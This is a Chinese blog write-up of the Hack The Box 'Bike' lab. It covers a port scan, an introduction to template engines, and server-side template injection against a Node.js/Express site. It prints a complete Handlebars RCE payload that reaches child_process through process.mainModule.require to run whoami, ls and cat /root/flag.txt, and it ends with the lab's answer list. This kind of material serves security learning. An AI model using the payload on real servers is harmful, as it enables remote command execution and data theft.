HTB_Bike靶机之模板注入

船到桥头自然直

信息收集

日常 A 扫描,两个端口

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike 

访问 22 端口直接拒绝了我们的连接,访问 80 端口,只有一个输入框,让我们输入邮箱,随便输入,提交,会返回输入信息

在这里插入图片描述

可以尝试测试 XSS,但是一般的利用都是钓鱼或者点击交互窃取信息,根据返回的代码可以发现对特殊符号进行了 html实体编码 ,我们在 pikachu 靶场中接触过实体编码,当时是通过 <img> 标签的 onerror 属性触发经过编码的 js 语句,这里暂时不会别的绕过方式

在这里插入图片描述

使用的组件,express 是一个基于 node.js 的 web 框架

在这里插入图片描述

又查看了源码,没发现什么特殊的地方,有什么思路呢?

本次使用模板注入进行测试

模板引擎

模板引擎是将数据变为视图的最优雅的解决方案

比如我有一组数据 data 要编写对应的 html,正常写 html 可以通过 li 标签包裹 div 标签再嵌套三个 p 标签的方式显示数据

[
    {"name":"小明","age":"12","sex":"男"},
    {"name":"小红","age":"11","sex":"女"},
    {"name":"小强","age":"13","sex":"男"}
]

通过模板 template 引擎(这里以mustache为例) 能快速生成对应的 html{{#arr}} 代表使用对应的数组进行循环,通过双花括号引用数据

<ul>
    {{#arr}}
        <li>
            <div class="hd">{{name}}的基本信息</div>
            <div class="bd">
                <p>姓名:{{name}}</p>
                <p>性别:{{sex}}</p>
                <p>年龄:{{age}}</p>
            </div>
        </li>
    {{/arr}}
</ul>

通过 Mustache.render(templateStr,data) 注入数据渲染后就可以生成对应的 html ,很方便

<ul>
    <li>
        <div class="hd">小明的基本信息</div>
        <div class="bd">
            <p>姓名:小明</p>
            <p>性别:男</p>
            <p>年龄:12</p>
        </div>
    </li>
    <li>
        <div class="hd">小红的基本信息</div>
        <div class="bd">
            <p>姓名:小红</p>
            <p>性别:女</p>
            <p>年龄:11</p>
        </div>
    </li>
    <li>
        <div class="hd">小强的基本信息</div>
        <div class="bd">
            <p>姓名:小强</p>
            <p>性别:男</p>
            <p>年龄:13</p>
        </div>
    </li>
</ul>

SSIT 模板注入

如何识别后端使用了什么模板引擎呢? 可以使用一些常见的语句测试

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

在这里插入图片描述

如果符合该引擎的语法,则语句会被执行或者引发报错

尝试一下,第一个就报错了,这也是比较常见的一种写法 {{}}

在这里插入图片描述

handlebars 模板引擎是比较常用的一种,中文文档 👉Handlebars中文文档

经典的 payload 如下,通过 exec('whoami') 执行系统命令

{{#with "s" as |string|}}
 {{#with "e"}}
   {{#with split as |conslist|}}
     {{this.pop}}
     {{this.push (lookup string.sub "constructor")}}
     {{this.pop}}
     {{#with string.split as |codelist|}}
       {{this.pop}}
       {{this.push "return require('child_process').exec('whoami');"}}
       {{this.pop}}
       {{#each conslist}}
         {{#with (string.sub.apply 0 codelist)}}
           {{this}}
         {{/with}}
       {{/each}}
     {{/with}}
   {{/with}}
 {{/with}}
{{/with}}
{{#with aaaaaa}}                 // 定位到 aaaaaa 一般是某个数据对象里的
{{#with aaaaaa as |b|}}          // 类似别名,可以通过 b.属性名调用 aaaaaa的属性
{{#with "person"}}               // 一个字符串对象 就是它本身 this 指向字符串 person
{{#with "s" as |string|}}        // {{string}} -> s
{{#each conslist}}               // each 是遍历数组对象

这个 payload 我说实话我自己是根本写不出来的,即使看了手册也不懂,卡了很久,我突然觉得很多问题是属于船到桥头自然直的东西,没必要死抠,后面学到新知识自然会懂,所谓温故而知新,不急于一时

回到这个问题,pushpop 是向数组里添加删除数据,大致就是将命令执行的结果添加到数组中输出 {{this.push "return require('child_process').exec('whoami');"}},但是,测试的时候报错 require is not defined

在这里插入图片描述

因为模板引擎通常是在沙箱环境中运行(隔离环境),所以很难加载运行系统命令的模块,而上面的代码是试图将 child_process 模块加载到内存进而执行系统命令

node.js 是一种单线程的模型,使用的是全局 process 模块,所有的任务都在一个线程中进行,node提供了child process 模块来创建子进程,从而实现多线程并行计算

我们可以尝试调用全局 process 模块,且不需使用 require 关键字,{{this.push "return process"}} ,成功返回

在这里插入图片描述

返回如下,一共 6 个 this 语句,每个返回一个结果,push 语句返回数组长度,pop 删除并返回数组最后一个元素,可以自行添加 pushpop 语句尝试

e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object process]

process 有一个 mainMoudle 模块,虽然已经弃用,但是并不代表不能访问,通过它可以检索 require.main 主模块,主模块一般不会在沙箱环境中,所以也可以尝试使用 require

在这里插入图片描述

我们通过 mainMoudle 模块来调用 child_process 模块,因为 node 一般就是通过 child_process 模块来执行系统命令的,新构造的命令如下

{{this.push "return process.mainModule.require('child_process');"}}

这次就可以正常返回了

在这里插入图片描述

然后回到最开始的执行命令并返沪结果,但是使用 exec 并没有返回具体结果,而是返回 [Object Object] ,使用 execSync 才正常返回了 root

{{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}

那么接下来的流程就是看文件找 flag

 {{this.push "return
process.mainModule.require('child_process').execSync('ls');"}}

最后在系统目录 root 下找到了 flag.txt 文件,

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

在这里插入图片描述

后放答案

22,80
Node.js
Express
Server Side Template Injection
Handlebars
Decoder
URL
require
global
root
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值